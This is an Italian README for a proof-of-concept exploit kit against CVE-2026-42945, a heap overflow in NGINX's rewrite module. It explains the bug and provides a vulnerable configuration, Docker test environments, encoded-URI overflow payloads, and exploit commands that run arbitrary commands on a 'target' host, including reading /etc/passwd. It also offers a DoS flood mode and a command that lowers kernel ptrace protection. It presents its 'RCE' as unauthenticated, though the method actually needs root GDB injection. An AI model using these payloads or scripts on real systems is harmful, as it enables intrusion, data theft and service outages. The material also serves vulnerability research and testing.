
Proof-of-concept exploit per CVE-2026-42945, un grave heap overflow nel modulo rewrite di NGINX che consente l'esecuzione remota di codice non autenticata tramite codifica URI manipolata. Include ambiente di test basato su Docker, validazione ASAN e multipli script di exploit.
RCE confermato con successo — tramite heap overflow + iniezione di processo GDB, esecuzione di comandi arbitrari nei processi worker NGINX / OpenResty.
# Costruzione immagine NGINX + esecuzione test RCE con un comando
./run.sh nginx
# Costruzione immagine OpenResty + esecuzione test RCE con un comando
./run.sh openresty
# Comando personalizzato
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2026-42945 |
| Tipo di vulnerabilità | Heap buffer overflow → Remote Code Execution (RCE) |
| Componente interessato | ngx_http_rewrite_module |
| Versioni interessate | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| Punteggio di vulnerabilità | CVSS 9.4 (CRITICAL) |
| Condizioni di sfruttamento | Nessuna autenticazione; RCE richiede privilegi ptrace (root) |
ngx_http_script_complex_value_code() alloca il buffer in base alla lunghezza decodificata dell'URI, ma ngx_http_script_copy_capture_code() chiama ngx_escape_uri() scrivendo in base alla lunghezza codificata. I caratteri codificati nell'URL si espandono di 3 volte → heap overflow.
Tre condizioni devono essere soddisfatte contemporaneamente:
rewrite e set si trovano nello stesso locationrewrite contiene ?set fa riferimento alla variabile catturata $1 di rewritelocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # contiene '?'
set $original_endpoint $1; # fa riferimento a $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # Punto di ingresso per build + test con un comando
├── README.md
│
├── scripts/ # Script di test & exploit
│ ├── rce.sh # RCE puro Shell (curl + GDB, senza Python)
│ ├── exploit_rce.py # RCE Python (compatibile 2.7/3.x)
│ ├── exploit.py # Script PoC principale (check/exploit/rce/flood)
│ └── exploit_asan.py # Scansione completa ASAN
│
├── package/ # File di deployment & orchestrazione
│ ├── Dockerfile.rce # Compilazione sorgente NGINX + ambiente RCE
│ ├── Dockerfile.openresty.rce # Compilazione sorgente OpenResty + ambiente RCE
│ ├── Dockerfile # Immagine base (Alpine)
│ ├── Dockerfile.asan # Immagine di debug ASAN
│ ├── docker-compose.yml # Orchestrazione Docker (nginx-rce + openresty-rce)
│ ├── nginx.conf # Configurazione vulnerabile NGINX
│ ├── nginx-openresty.conf # Configurazione vulnerabile OpenResty
│ ├── start_rce.sh # Script di avvio container NGINX RCE
│ └── start_openresty_rce.sh # Script di avvio container OpenResty RCE
│
└── src/ # Sorgenti (per compilazione)
├── nginx-1.26.3/ # Sorgenti NGINX 1.26.3
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # Sorgenti OpenResty 1.25.3.1 (nginx/1.25.3 integrato)
# Script Shell (nessuna dipendenza Python)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Script Python (compatibile 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# Stesso per OpenResty
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# All'interno del container:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# Richiede root + privilegi ptrace
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # Rilevamento vulnerabilità
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # Verifica heap overflow ASAN
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # Valutazione rischio RCE
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # Test di stress DoS
rewrite (contenente ?) + set (che fa riferimento a $1)%25/%3f/%23/%26echo 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | Descrizione | Risultato |
|---|
/api/%25 × N | % codificato | ✅ Heap overflow |
/api/%3f × N | ? codificato | ✅ Heap overflow |
/api/%23 × N | # codificato | ✅ Heap overflow |
/api/%26 × N | & codificato | ✅ Heap overflow |